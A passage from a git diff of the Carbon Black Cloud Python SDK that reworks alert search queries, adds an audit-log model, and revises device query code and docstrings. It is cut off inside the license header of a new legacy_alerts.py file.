names. - - Args: - names (list): List of vendor names to look for. - - Returns: - DeviceControlAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in names): - raise ApiError("One or more invalid vendor name values") - self._update_criteria("vendor_name", names) - return self - - -class ContainerRuntimeAlertSearchQuery(BaseAlertSearchQuery): - """Represents a query that is used to locate ContainerRuntimeAlert objects.""" - - def __init__(self, doc_class, cb): - """ - Initialize the ContainerRuntimeAlertSearchQuery. - - Args: - doc_class (class): The model class that will be returned by this query. - cb (BaseAPI): Reference to API object used to communicate with the server. - """ - super().__init__(doc_class, cb) - self._bulkupdate_url = "/appservices/v6/orgs/{0}/alerts/containerruntime/_criteria" - - def set_cluster_names(self, names): - """ - Restricts the alerts that this query is performed on to the specified Kubernetes cluster names. - - Args: - names (list): List of Kubernetes cluster names to look for. - - Returns: - ContainerRuntimeAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in names): - raise ApiError("One or more invalid cluster name values") - self._update_criteria("cluster_name", names) - return self - - def set_namespaces(self, namespaces): - """ - Restricts the alerts that this query is performed on to the specified Kubernetes namespaces. - - Args: - namespaces (list): List of Kubernetes namespaces to look for. - - Returns: - ContainerRuntimeAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in namespaces): - raise ApiError("One or more invalid namespace values") - self._update_criteria("namespace", namespaces) - return self - - def set_workload_kinds(self, kinds): - """ - Restricts the alerts that this query is performed on to the specified workload types. - - Args: - kinds (list): List of workload types to look for. - - Returns: - ContainerRuntimeAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in kinds): - raise ApiError("One or more invalid workload kind values") - self._update_criteria("workload_kind", kinds) - return self - - def set_workload_ids(self, ids): - """ - Restricts the alerts that this query is performed on to the specified workload IDs. - - Args: - ids (list): List of workload IDs to look for. - - Returns: - ContainerRuntimeAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in ids): - raise ApiError("One or more invalid workload ID values") - self._update_criteria("workload_id", ids) - return self - - def set_workload_names(self, names): - """ - Restricts the alerts that this query is performed on to the specified workload names. - - Args: - names (list): List of workload names to look for. - - Returns: - ContainerRuntimeAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in names): - raise ApiError("One or more invalid workload name values") - self._update_criteria("workload_name", names) - return self - - def set_replica_ids(self, ids): - """ - Restricts the alerts that this query is performed on to the specified pod names. - - Args: - ids (list): List of pod names to look for. - - Returns: - ContainerRuntimeAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in ids): - raise ApiError("One or more invalid replica ID values") - self._update_criteria("replica_id", ids) - return self - - def set_remote_ips(self, addrs): - """ - Restricts the alerts that this query is performed on to the specified remote IP addresses. - - Args: - addrs (list): List of remote IP addresses to look for. - - Returns: - ContainerRuntimeAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in addrs): - raise ApiError("One or more invalid remote IP values") - self._update_criteria("remote_ip", addrs) - return self - - def set_remote_domains(self, domains): - """ - Restricts the alerts that this query is performed on to the specified remote domains. - - Args: - domains (list): List of remote domains to look for. + Note: + - This is an asynchronus call that returns a Job. If you want to wait and block on the results + you can call await_completion() to get a Futre then result() on the future object to wait for + completion and get the results. - Returns: - ContainerRuntimeAlertSearchQuery: This instance. + Example: + >>> alert_query = cb.select(Alert).add_criteria("threat_id", ["19261158DBBF00775959F8AA7F7551A1"]) + >>> job = alert_query.update("IN_PROGESS", "NO_REASON", "NONE", "Starting Investigation") + >>> completed_job = job.await_completion().result() """ - if not all(isinstance(n, str) for n in domains): - raise ApiError("One or more invalid remote domain values") - self._update_criteria("remote_domain", domains) - return self + return self._update_status(status, closure_reason, note, determination) - def set_protocols(self, protocols): + def close(self, closure_reason=None, determination=None, note=None, ): """ - Restricts the alerts that this query is performed on to the specified protocols. + Close all alerts matching the given query. The alerts will be left in a CLOSED state after this request. Args: - protocols (list): List of protocols to look for. + closure_reason (str): the closure reason for this alert, either "NO_REASON", "RESOLVED", \ + "RESOLVED_BENIGN_KNOWN_GOOD", "DUPLICATE_CLEANUP", "OTHER" + determination (str): The determination status to set for the alert, either "TRUE_POSITIVE", \ + "FALSE_POSITIVE", or "NONE" + note (str): The comment to set for the alert. Returns: - ContainerRuntimeAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in protocols): - raise ApiError("One or more invalid protocol values") - self._update_criteria("protocol", protocols) - return self + Job: The Job object for the bulk workflow action. - def set_ports(self, ports): - """ - Restricts the alerts that this query is performed on to the specified listening ports. - - Args: - ports (list): List of listening ports to look for. + Note: + - This is an asynchronus call that returns a Job. If you want to wait and block on the results + you can call await_completion() to get a Futre then result() on the future object to wait for + completion and get the results. - Returns: - ContainerRuntimeAlertSearchQuery: This instance. + Example: + >>> alert_query = cb.select(Alert).add_criteria("threat_id", ["19261158DBBF00775959F8AA7F7551A1"]) + >>> job = alert_query.close("RESOLVED", "FALSE_POSITIVE", "Normal behavior") + >>> completed_job = job.await_completion().result() """ - if not all(isinstance(n, int) for n in ports): - raise ApiError("One or more invalid port values") - self._update_criteria("port", ports) - return self + return self._update_status("CLOSED", closure_reason, note, determination) - def set_egress_group_ids(self, ids): + def set_minimum_severity(self, severity): """ - Restricts the alerts that this query is performed on to the specified egress group IDs. + Restricts the alerts that this query is performed on to the specified minimum severity level. Args: - ids (list): List of egress group IDs to look for. + severity (int): The minimum severity level for alerts. Returns: - ContainerRuntimeAlertSearchQuery: This instance. + AlertSearchQuery: This instance. """ - if not all(isinstance(n, str) for n in ids): - raise ApiError("One or more invalid egress group ID values") - self._update_criteria("egress_group_id", ids) + self._criteria["minimum_severity"] = severity return self - def set_egress_group_names(self, names): + def set_threat_notes_present(self, is_present, exclude=False): """ - Restricts the alerts that this query is performed on to the specified egress group names. + Restricts the alerts that this query is performed on to those with or without threat_notes. Args: - names (list): List of egress group names to look for. - + is_present (bool): If true, returns alerts that have a note attached to the threat_id + exclude (bool): If true, will set is_present in the exclusions. Otherwise adds to criteria Returns: - ContainerRuntimeAlertSearchQuery: This instance. + AlertSearchQuery: This instance. """ - if not all(isinstance(n, str) for n in names): - raise ApiError("One or more invalid egress group name values") - self._update_criteria("egress_group_name", names) + if not exclude: + self._criteria["threat_notes_present"] = is_present + else: + self._exclusions["threat_notes_present"] = is_present return self - def set_ip_reputations(self, reputations): + def set_alert_notes_present(self, is_present, exclude=False): """ - Restricts the alerts that this query is performed on to the specified IP reputation values. + Restricts the alerts that this query is performed on to those with or without notes. Args: - reputations (list): List of IP reputation values to look for. + is_present (bool): If true, returns alerts that have a note attached + exclude (bool): If true, will set is_present in the exclusions. Otherwise adds to criteria Returns: - ContainerRuntimeAlertSearchQuery: This instance. + AlertSearchQuery: This instance. """ - if not all(isinstance(n, int) for n in reputations): - raise ApiError("One or more invalid IP reputation values") - self._update_criteria("ip_reputation", reputations) + if not exclude: + self._criteria["alert_notes_present"] = is_present + else: + self._exclusions["alert_notes_present"] = is_present return self - def set_rule_ids(self, ids): - """ - Restricts the alerts that this query is performed on to the specified Kubernetes policy rule IDs. - - Args: - ids (list): List of Kubernetes policy rule IDs to look for. - - Returns: - ContainerRuntimeAlertSearchQuery: This instance. + def set_remote_is_private(self, is_private, exclude=False): """ - if not all(isinstance(n, str) for n in ids): - raise ApiError("One or more invalid rule ID values") - self._update_criteria("rule_id", ids) - return self + Restricts the alerts that this query is performed on based on matching the remote_is_private field. - def set_rule_names(self, names): - """ - Restricts the alerts that this query is performed on to the specified Kubernetes policy rule names. + This field is only present on CONTAINER_RUNTIME alerts and so filtering will be ignored on other alert types. Args: - names (list): List of Kubernetes policy rule names to look for. + is_private (boolean): Whether the remote information is private: true or false + exclude (bool): If true, will set is_present in the exclusions. Otherwise adds to criteria Returns: - ContainerRuntimeAlertSearchQuery: This instance. + AlertSearchQuery: This instance. """ - if not all(isinstance(n, str) for n in names): - raise ApiError("One or more invalid rule name values") - self._update_criteria("rule_name", names) + if not exclude: + self._criteria["remote_is_private"] = is_private + else: + self._exclusions["remote_is_private"] = is_private return self diff --git a/src/cbc_sdk/platform/audit.py b/src/cbc_sdk/platform/audit.py new file mode 100644 index 000000000..4d9cee3ae --- /dev/null +++ b/src/cbc_sdk/platform/audit.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python3 + +# ******************************************************* +# Copyright (c) VMware, Inc. 2020-2023. All Rights Reserved. +# SPDX-License-Identifier: MIT +# ******************************************************* +# * +# * DISCLAIMER. THIS PROGRAM IS PROVIDED TO YOU "AS IS" WITHOUT +# * WARRANTIES OR CONDITIONS OF ANY KIND, WHETHER ORAL OR WRITTEN, +# * EXPRESS OR IMPLIED. THE AUTHOR SPECIFICALLY DISCLAIMS ANY IMPLIED +# * WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, +# * NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. + +"""Model and Query Classes for Platform Auditing""" + +from cbc_sdk.base import UnrefreshableModel + + +class AuditLog(UnrefreshableModel): + """Model class which represents audit log events. Mostly for future implementation.""" + + def __init__(self, cb, model_unique_id, initial_data=None): + """Creation of AuditLog objects is not yet implemented.""" + raise NotImplementedError("AuditLog creation will be in a future implementation") + + @staticmethod + def get_auditlogs(cb): + """ + Retrieve queued audit logs from the Carbon Black Cloud server. + + Required Permissions: + org.audits (READ) + + Args: + cb (BaseAPI): Reference to API object used to communicate with the server. + + Returns: + list[dict]: List of dictionary objects representing the audit logs, or an empty list if none available. + """ + res = cb.get_object("/integrationServices/v3/auditlogs") + return res.get("notifications", []) diff --git a/src/cbc_sdk/platform/devices.py b/src/cbc_sdk/platform/devices.py index 86ac2d22f..9737bf2b3 100644 --- a/src/cbc_sdk/platform/devices.py +++ b/src/cbc_sdk/platform/devices.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 - # ******************************************************* # Copyright (c) VMware, Inc. 2020-2023. All Rights Reserved. # SPDX-License-Identifier: MIT @@ -11,7 +10,22 @@ # * WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, # * NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. -"""Model and Query Classes for Platform Devices""" +""" +The model and query classes for referencing platform devices. + +A *platform device* represents an endpoint registered with the Carbon Black Cloud that runs a sensor, which +communicates with Carbon Black analytics and the console. Using these classes, you can search for devices using a +wide variety of filterable fields, such as policy ID, status, or operating system. You can also perform actions on +individual devices such as quarantining/unquarantining them, enabling or disabling bypass, or upgrading them to a +new sensor version. + +Typical usage example:: + + # assume "cb" is an instance of CBCloudAPI + query = cb.select(Device).where(os="WINDOWS").set_policy_ids([142857]) + for device in query: + device.quarantine(True) +""" from cbc_sdk.errors import ApiError, ServerError, NonQueryableModel from cbc_sdk.platform import PlatformModel @@ -27,7 +41,12 @@ class Device(PlatformModel): - """Represents a device (endpoint).""" + """ + Represents a device (endpoint) within the Carbon Black Cloud. + + ``Device`` objects are generally located through a search (using ``DeviceSearchQuery``) before they can be + operated on. + """ urlobject = "/appservices/v6/orgs/{0}/devices" urlobject_single = "/appservices/v6/orgs/{0}/devices/{1}" primary_key = "id" @@ -35,12 +54,12 @@ class Device(PlatformModel): def __init__(self, cb, model_unique_id, initial_data=None): """ - Initialize the Device object. + Initialize the ``Device`` object. Args: cb (BaseAPI): Reference to API object used to communicate with the server. - model_unique_id (str): ID of the alert represented. - initial_data (dict): Initial data used to populate the alert. + model_unique_id (str): ID of the device represented. + initial_data (dict): Initial data used to populate the device. """ super(Device, self).__init__(cb, model_unique_id, initial_data) if model_unique_id is not None and initial_data is None: @@ -49,23 +68,23 @@ def __init__(self, cb, model_unique_id, initial_data=None): @classmethod def _query_implementation(cls, cb, **kwargs): """ - Returns the appropriate query object for the Device type. + Returns the appropriate query object for the ``Device`` type. Args: cb (BaseAPI): Reference to API object used to communicate with the server. **kwargs (dict): Not used, retained for compatibility. - - Returns: - DeviceSearchQuery: The query object for this alert type. """ return DeviceSearchQuery(cls, cb) @property def deviceId(self): - """Warn user that Platform Devices use 'id', not 'device_id'. + """ + Warn user that Platform Devices use 'id', not 'device_id'. + + Platform Device APIs return 'id' in API responses, where Endpoint Standard APIs return 'deviceId'. - Platform Device API's return 'id' in API responses, where Endpoint Standard - API's return 'deviceId'. + Raises: + AttributeError: In all cases. """ raise AttributeError("Platform Devices use .id property for device ID.") @@ -74,10 +93,10 @@ def _refresh(self): Rereads the device data from the server. Required Permissions: - device (READ) + device(READ) Returns: - bool: True if refresh was successful, False if not. + bool: ``True`` if refresh was successful, ``False`` if not. """ url = self.urlobject_single.format(self._cb.credentials.org_key, self._model_unique_id) resp = self._cb.get_object(url) @@ -87,16 +106,16 @@ def _refresh(self): def lr_session(self, async_mode=False): """ - Retrieve a Live Response session object for this Device. + Retrieve a Live Response session object for this ``Device``. Required Permissions: - org.liveresponse.session (CREATE) + org.liveresponse.session(CREATE) Returns: - LiveResponseSession: Live Response session for the Device. + LiveResponseSession: Live Response session for the ``Device``. Raises: - ApiError: If there is an error establishing a Live Response session for this Device. + ApiError: If there is an error establishing a Live Response session for this ``Device``. """ return self._cb._request_lr_session(self._model_unique_id, async_mode=async_mode) @@ -105,10 +124,10 @@ def background_scan(self, flag): Set the background scan option for this device. Required Permissions: - device.bg-scan (EXECUTE) + device.bg-scan(EXECUTE) Args: - flag (bool): True to turn background scan on, False to turn it off. + flag (bool): ``True`` to turn background scan on, ``False`` to turn it off. Returns: str: The JSON output from the request. @@ -120,10 +139,10 @@ def bypass(self, flag): Set the bypass option for this device. Required Permissions: - device.bypass (EXECUTE) + device.bypass(EXECUTE) Args: - flag (bool): True to enable bypass, False to disable it. + flag (bool): ``True`` to enable bypass, ``False`` to disable it. Returns: str: The JSON output from the request. @@ -135,7 +154,7 @@ def delete_sensor(self): Delete this sensor device. Required Permissions: - device.deregistered (DELETE) + device.deregistered(DELETE) Returns: str: The JSON output from the request. @@ -147,7 +166,7 @@ def uninstall_sensor(self): Uninstall this sensor device. Required Permissions: - device.uninstall (EXECUTE) + device.uninstall(EXECUTE) Returns: str: The JSON output from the request. @@ -159,10 +178,10 @@ def quarantine(self, flag): Set the quarantine option for this device. Required Permissions: - device.quarantine (EXECUTE) + device.quarantine(EXECUTE) Args: - flag (bool): True to enable quarantine, False to disable it. + flag (bool): ``True`` to enable quarantine, ``False`` to disable it. Returns: str: The JSON output from the request. @@ -174,10 +193,10 @@ def update_policy(self, policy_id): Set the current policy for this device. Required Permissions: - device.policy (UPDATE) + device.policy(UPDATE) Args: - policy_id (int): ID of the policy to set for the devices. + policy_id (int): ID of the policy to set for the device. Returns: str: The JSON output from the request. @@ -189,7 +208,7 @@ def update_sensor_version(self, sensor_version): Update the sensor version for this device. Required Permissions: - org.kits (EXECUTE) + org.kits(EXECUTE) Args: sensor_version (dict): New version properties for the sensor. @@ -201,10 +220,10 @@ def update_sensor_version(self, sensor_version): def vulnerability_refresh(self): """ - Perform an action on a specific device. Only REFRESH is supported. + Refresh vulnerability information for the device. Required Permissions: - vulnerabilityAssessment.data (EXECUTE) + vulnerabilityAssessment.data(EXECUTE) """ request = {"action_type": 'REFRESH'} url = "/vulnerability/assessment/api/v1/orgs/{}".format(self._cb.credentials.org_key) @@ -222,16 +241,16 @@ def vulnerability_refresh(self): def get_vulnerability_summary(self, category=None): """ - Get the vulnerabilities associated with this device + Get the vulnerabilities associated with this device. Required Permissions: - vulnerabilityAssessment.data (READ) + vulnerabilityAssessment.data(READ) Args: - category (string): (optional) vulnerabilty category (OS, APP) + category (string): (optional) Vulnerabilty category (OS, APP). Returns: - dict: summary for the vulnerabilities for this device + dict: Summary of the vulnerabilities for this device. """ VALID_CATEGORY = ["OS", "APP"] @@ -249,10 +268,10 @@ def get_vulnerability_summary(self, category=None): def get_vulnerabilties(self): """ - Get an Operating System or Application Vulnerability List for a specific device. + Return a query to get an operating system or application vulnerability list for this device. Returns: - dict: vulnerabilities for this device + VulnerabilityQuery: Query for searching for vulnerabilities on this device. """ return VulnerabilityQuery(Vulnerability, self._cb, self) @@ -262,7 +281,7 @@ def nsx_available(self): Returns whether NSX actions are available on this device. Returns: - bool: True if NSX actions are available, False if not. + bool: ``True`` if NSX actions are available, ``False`` if not. """ return self._info['deployment_type'] == 'WORKLOAD' and self._info['nsx_enabled'] @@ -276,10 +295,10 @@ def nsx_remediation(self, tag, set_tag=True): Args: tag (str): The NSX tag to apply to this device. Valid values are "CB-NSX-Quarantine", "CB-NSX-Isolate", and "CB-NSX-Custom". - set_tag (bool): True to toggle the specified tag on, False to toggle it off. Default True. + set_tag (bool): ``True`` to toggle the specified tag on, ``False`` to toggle it off. Default ``True``. Returns: - NSXRemediationJob: The object representing all running jobs. None if the operation is a no-op. + NSXRemediationJob: The object representing all running jobs. ``None`` if the operation is a no-op. """ if not self.nsx_available: raise ApiError("NSX actions are not available on this device") @@ -298,14 +317,24 @@ def nsx_remediation(self, tag, set_tag=True): class DeviceFacet(UnrefreshableModel): - """Represents a device field in a facet search.""" + """ + Represents a device field in a facet search. + + *Faceting* is a search technique that categorizes search results according to common attributes. This allows + users to explore and discover information within a dataset, in this case, the set of devices. + + Example: + >>> facets = api.select(Device).facets(['policy_id']) + >>> for value in facets[0].values_: + ... print(f"Policy ID {value.id}: {value.total} device(s)") + """ urlobject = "/appservices/v6/orgs/{0}/devices/_facet" primary_key = "id" swagger_meta_file = "platform/models/device_facet.yaml" def __init__(self, cb, model_unique_id, initial_data=None): """ - Initialize the DeviceFacet object. + Initialize the ``DeviceFacet`` object. Args: cb (BaseAPI): Reference to API object used to communicate with the server. @@ -316,10 +345,15 @@ def __init__(self, cb, model_unique_id, initial_data=None): self._values = [DeviceFacet.DeviceFacetValue(cb, self, item['id'], item) for item in initial_data['values']] class DeviceFacetValue(UnrefreshableModel): - """Represents a value of a particular field.""" + """ + Represents a value of a particular faceted field. + + *Faceting* is a search technique that categorizes search results according to common attributes. This allows + users to explore and discover information within a dataset, in this case, the set of devices. + """ def __init__(self, cb, outer, model_unique_id, initial_data): """ - Initialize the DeviceFacetValue object. + Initialize the ``DeviceFacetValue`` object. Args: cb (BaseAPI): Reference to API object used to communicate with the server. @@ -336,14 +370,15 @@ def query_devices(self): Set up a device query to find all devices that match this facet value. Example: - >>> facets = api.select(Device).where('').facets(['policy_id']) + >>> facets = api.select(Device).facets(['policy_id']) >>> for value in facets[0].values_: ... print(f"Policy ID = {value.id}:") ... for dev in value.query_devices(): ... print(f" {dev.name} ({dev.last_external_ip_address})") Returns: - DeviceQuery: A new DeviceQuery set with the criteria, which may have additional criteria added to it. + DeviceQuery: A new ``DeviceQuery`` set with the criteria, which may have additional criteria added + to it. """ query = self._cb.select(Device) if self._outer.field == 'policy_id': @@ -370,9 +405,6 @@ def _query_implementation(cls, cb, **kwargs): Args: cb (BaseAPI): Reference to API object used to communicate with the server. **kwargs (dict): Not used, retained for compatibility. - - Returns: - DeviceFacetQuery: The query object for this alert type. """ raise NonQueryableModel("use facets() on DeviceQuery to get DeviceFacet") @@ -384,7 +416,7 @@ def _subobject(self, name): name (str): Name of the subobject value to be returned. Returns: - Any: Subobject value for the attribute, or None if there is none. + Any: Subobject value for the attribute, or ``None`` if there is none. """ if name == 'values': return self._values @@ -392,12 +424,7 @@ def _subobject(self, name): @property def values_(self): - """ - Return the list of facet values for this facet. - - Returns: - list[DeviceFacetValue]: The list of values for this facet. - """ + """Returns the list of facet values for this facet.""" return self._values @@ -406,21 +433,25 @@ def values_(self): class DeviceSearchQuery(BaseQuery, QueryBuilderSupportMixin, CriteriaBuilderSupportMixin, IterableQueryMixin, AsyncQueryMixin): - """Represents a query that is used to locate Device objects.""" + """ + Query object that is used to locate ``Device`` objects. + + The ``DeviceSearchQuery`` is constructed via SDK functions like the ``select()`` method on ``CBCloudAPI``. + The user would then add a query and/or criteria to it before iterating over the results. + """ VALID_OS = ["WINDOWS", "ANDROID", "MAC", "IOS", "LINUX", "OTHER"] VALID_STATUSES = ["PENDING", "REGISTERED", "UNINSTALLED", "DEREGISTERED", "ACTIVE", "INACTIVE", "ERROR", "ALL", "BYPASS_ON", "BYPASS", "QUARANTINE", "SENSOR_OUTOFDATE", "DELETED", "LIVE"] VALID_PRIORITIES = ["LOW", "MEDIUM", "HIGH", "MISSION_CRITICAL"] - VALID_DIRECTIONS = ["ASC", "DESC"] - VALID_DEPLOYMENT_TYPES = ["ENDPOINT", "WORKLOAD"] + VALID_DEPLOYMENT_TYPES = ["ENDPOINT", "WORKLOAD", "VDI", "AWS", "AZURE", "GCP"] VALID_FACET_FIELDS = ["policy_id", "status", "os", "ad_group_id", "cloud_provider_account_id", "auto_scaling_group_name", "virtual_private_cloud_id"] def __init__(self, doc_class, cb): """ - Initialize the DeviceSearchQuery. + Initialize the ``DeviceSearchQuery``. Args: doc_class (class): The model class that will be returned by this query. @@ -461,9 +492,6 @@ def set_ad_group_ids(self, ad_group_ids): Returns: DeviceSearchQuery: This instance. - - Raises: - ApiError: If invalid (non-int) values are passed in the list. """ if not all(isinstance(ad_group_id, int) for ad_group_id in ad_group_ids): raise ApiError("One or more invalid AD group IDs") @@ -479,9 +507,6 @@ def set_device_ids(self, device_ids): Returns: DeviceSearchQuery: This instance. - - Raises: - ApiError: If invalid (non-int) values are passed in the list. """ if not all(isinstance(device_id, int) for device_id in device_ids): raise ApiError("One or more invalid device IDs") @@ -499,9 +524,6 @@ def set_last_contact_time(self, *args, **kwargs): Returns: DeviceSearchQuery: This instance. - - Raises: - ApiError: If an invalid combination of keyword parameters are specified. """ if kwargs.get("start", None) and kwargs.get("end", None): if kwargs.get("range", None): @@ -531,9 +553,6 @@ def set_os(self, operating_systems): Returns: DeviceSearchQuery: This instance. - - Raises: - ApiError: If invalid operating system values are passed in the list. """ if not all((osval in DeviceSearchQuery.VALID_OS) for osval in operating_systems): raise ApiError("One or more invalid operating systems") @@ -549,9 +568,6 @@ def set_policy_ids(self, policy_ids): Returns: DeviceSearchQuery: This instance. - - Raises: - ApiError: If invalid (non-int) values are passed in the list. """ if not all(isinstance(policy_id, int) for policy_id in policy_ids): raise ApiError("One or more invalid policy IDs") @@ -569,9 +585,6 @@ def set_status(self, statuses): Returns: DeviceSearchQuery: This instance. - - Raises: - ApiError: If invalid status values are passed in the list. """ if not all((stat in DeviceSearchQuery.VALID_STATUSES) for stat in statuses): raise ApiError("One or more invalid status values") @@ -588,9 +601,6 @@ def set_target_priorities(self, target_priorities): Returns: DeviceSearchQuery: This instance. - - Raises: - ApiError: If invalid priority values are passed in the list. """ if not all((prio in DeviceSearchQuery.VALID_PRIORITIES) for prio in target_priorities): raise ApiError("One or more invalid target priority values") @@ -645,9 +655,6 @@ def set_exclude_sensor_versions(self, sensor_versions): Returns: DeviceSearchQuery: This instance. - - Raises: - ApiError: If invalid (non-string) values are passed in the list. """ if not all(isinstance(v, str) for v in sensor_versions): raise ApiError("One or more invalid sensor versions") @@ -667,11 +674,8 @@ def sort_by(self, key, direction="ASC"): Returns: DeviceSearchQuery: This instance. - - Raises: - ApiError: If an invalid direction value is passed. """ - if direction not in DeviceSearchQuery.VALID_DIRECTIONS: + if direction not in CriteriaBuilderSupportMixin.VALID_DIRECTIONS: raise ApiError("invalid sort direction specified") self._sortcriteria = {"field": key, "order": direction} return self @@ -685,9 +689,6 @@ def set_deployment_type(self, deployment_type): Returns: DeviceSearchQuery: This instance. - - Raises: - ApiError: If invalid deployment type values are passed in the list. """ if not all((type in DeviceSearchQuery.VALID_DEPLOYMENT_TYPES) for type in deployment_type): raise ApiError("invalid deployment_type specified") @@ -699,13 +700,10 @@ def set_max_rows(self, max_rows): Sets the max number of devices to fetch in a singular query Args: - max_rows (integer): Max number of devices + max_rows (integer): Max number of devices. Must be in the range (0, 10000). Returns: DeviceSearchQuery: This instance. - - Raises: - ApiError: If rows is negative or greater than 10000 """ if max_rows < 0 or max_rows > 10000: raise ApiError("Max rows must be between 0 and 10000") @@ -726,8 +724,14 @@ def _build_request(self, from_row, max_rows): mycrit = self._criteria if self._time_filter: mycrit["last_contact_time"] = self._time_filter - request = {"criteria": mycrit, "exclusions": self._exclusions} - request["query"] = self._query_builder._collapse() + request = {} + if mycrit: + request["criteria"] = mycrit + if self._exclusions: + request["exclusions"] = self._exclusions + query = self._query_builder._collapse() + if query: + request["query"] = query if from_row > 1: request["start"] = from_row if max_rows >= 0: @@ -756,10 +760,7 @@ def _count(self): Returns the number of results from the run of this query. Required Permissions: - device (READ) - - Returns: - int: The number of results from the run of this query. + device(READ) """ if self._count_valid: return self._total_results @@ -778,17 +779,18 @@ def _perform_query(self, from_row=1, max_rows=-1): """ Performs the query and returns the results of the query in an iterable fashion. - Device v6 API uses base 1 instead of 0. + Note: + Device v6 API uses base 1 instead of 0. Required Permissions: - device (READ) + device(READ) Args: from_row (int): The row to start the query at (default 1). max_rows (int): The maximum number of rows to be returned (default -1, meaning "all"). - Returns: - Iterable: The iterated query. + Yields: + Device: The individual devices which match the query. """ url = self._build_url("/_search") current = from_row @@ -819,13 +821,13 @@ def _perform_query(self, from_row=1, max_rows=-1): def _run_async_query(self, context): """ - Executed in the background to run an asynchronous query. Must be implemented in any inheriting classes. + Executed in the background to run an asynchronous query on devices. Required Permissions: - device (READ) + device(READ) Args: - context (object): The context returned by _init_async_query. May be None. + context (object): The context returned by _init_async_query. May be ``None``. Returns: Any: Result of the async query, which is then returned by the future. @@ -849,7 +851,7 @@ def _run_async_query(self, context): def facets(self, fieldlist, max_rows=0): """ - Return information about the facets for all known evices, using the defined criteria. + Return information about the facets for all matching devices, using the defined criteria. Example: >>> query = api.select(Device).where('') @@ -858,7 +860,7 @@ def facets(self, fieldlist, max_rows=0): ... print(f"Field {f.field} - {len(f.values_)} distinct values") Required Permissions: - device (READ) + device(READ) Args: fieldlist (list[str]): List of facet field names. Valid names are "policy_id", "status", "os", @@ -895,7 +897,7 @@ def download(self): >>> cb.select(Device).set_status(["ALL"]).download() Required Permissions: - device (READ) + device(READ) Returns: str: The CSV raw data as returned from the server. @@ -949,10 +951,10 @@ def background_scan(self, scan): Set the background scan option for the specified devices. Required Permissions: - device.bg-scan (EXECUTE) + device.bg-scan(EXECUTE) Args: - scan (bool): True to turn background scan on, False to turn it off. + scan (bool): ``True`` to turn background scan on, ``False`` to turn it off. Returns: str: The JSON output from the request. @@ -964,10 +966,10 @@ def bypass(self, enable): Set the bypass option for the specified devices. Required Permissions: - device.bypass (EXECUTE) + device.bypass(EXECUTE) Args: - enable (bool): True to enable bypass, False to disable it. + enable (bool): ``True`` to enable bypass, ``False`` to disable it. Returns: str: The JSON output from the request. @@ -979,7 +981,7 @@ def delete_sensor(self): Delete the specified sensor devices. Required Permissions: - device.deregistered (DELETE) + device.deregistered(DELETE) Returns: str: The JSON output from the request. @@ -991,7 +993,7 @@ def uninstall_sensor(self): Uninstall the specified sensor devices. Required Permissions: - device.uninstall (EXECUTE) + device.uninstall(EXECUTE) Returns: str: The JSON output from the request. @@ -1003,10 +1005,10 @@ def quarantine(self, enable): Set the quarantine option for the specified devices. Required Permissions: - device.quarantine (EXECUTE) + device.quarantine(EXECUTE) Args: - enable (bool): True to enable quarantine, False to disable it. + enable (bool): ``True`` to enable quarantine, ``False`` to disable it. Returns: str: The JSON output from the request. @@ -1018,7 +1020,7 @@ def update_policy(self, policy_id): Set the current policy for the specified devices. Required Permissions: - device.policy (UPDATE) + device.policy(UPDATE) Args: policy_id (int): ID of the policy to set for the devices. @@ -1033,7 +1035,7 @@ def update_sensor_version(self, sensor_version): Update the sensor version for the specified devices. Required Permissions: - org.kits (EXECUTE) + org.kits(EXECUTE) Args: sensor_version (dict): New version properties for the sensor. diff --git a/src/cbc_sdk/platform/events.py b/src/cbc_sdk/platform/events.py index 1b83d9e5d..c41ea9e78 100644 --- a/src/cbc_sdk/platform/events.py +++ b/src/cbc_sdk/platform/events.py @@ -270,10 +270,12 @@ def _get_query_parameters(self): args["exclusions"] = self._exclusions if self._time_range: args["time_range"] = self._time_range - args['query'] = self._query_builder._collapse() + query = self._query_builder._collapse() + if query: + args['query'] = query if self._query_builder._process_guid is not None: args["process_guid"] = self._query_builder._process_guid - if 'process_guid:' in args['query']: + if 'process_guid:' in args.get('query', ""): q = args['query'].split('process_guid:', 1)[1].split(' ', 1)[0] args["process_guid"] = q return args diff --git a/src/cbc_sdk/platform/jobs.py b/src/cbc_sdk/platform/jobs.py index a8954c156..598fca737 100644 --- a/src/cbc_sdk/platform/jobs.py +++ b/src/cbc_sdk/platform/jobs.py @@ -17,7 +17,7 @@ import logging import time from cbc_sdk.base import NewBaseModel, BaseQuery, IterableQueryMixin, AsyncQueryMixin -from cbc_sdk.errors import ServerError +from cbc_sdk.errors import ObjectNotFoundError, ServerError log = logging.getLogger(__name__) @@ -103,7 +103,7 @@ def _await_completion(self): time.sleep(0.5) try: progress_data = self.get_progress() - except ServerError: + except (ServerError, ObjectNotFoundError): errorcount += 1 if errorcount == 3: raise diff --git a/src/cbc_sdk/platform/legacy_alerts.py b/src/cbc_sdk/platform/legacy_alerts.py new file mode 100644 index 000000000..904888920 --- /dev/null +++ b/src/cbc_sdk/platform/legacy_alerts.py @@ -0,0 +1,1064 @@ +#!/usr/bin/env python3 + +# ******************************************************* +# Copyright (c) VMware, Inc. 2020-2023. All Rights Reserved. +# SPDX-License-Identifier: MIT +# ******************************************************* +# * +# * DISCLAIMER. THIS PROGRAM IS PROVIDED TO YOU "AS IS" WITHOUT +# * WARRANTIES OR CONDITIONS OF ANY KIND, WHETHER ORAL OR WRITTEN, +# * EXPRESS OR IMPLIED. THE AUTHOR SPECIFICALLY DISCLAIMS ANY IMPLIED +# * WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, +# * NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR 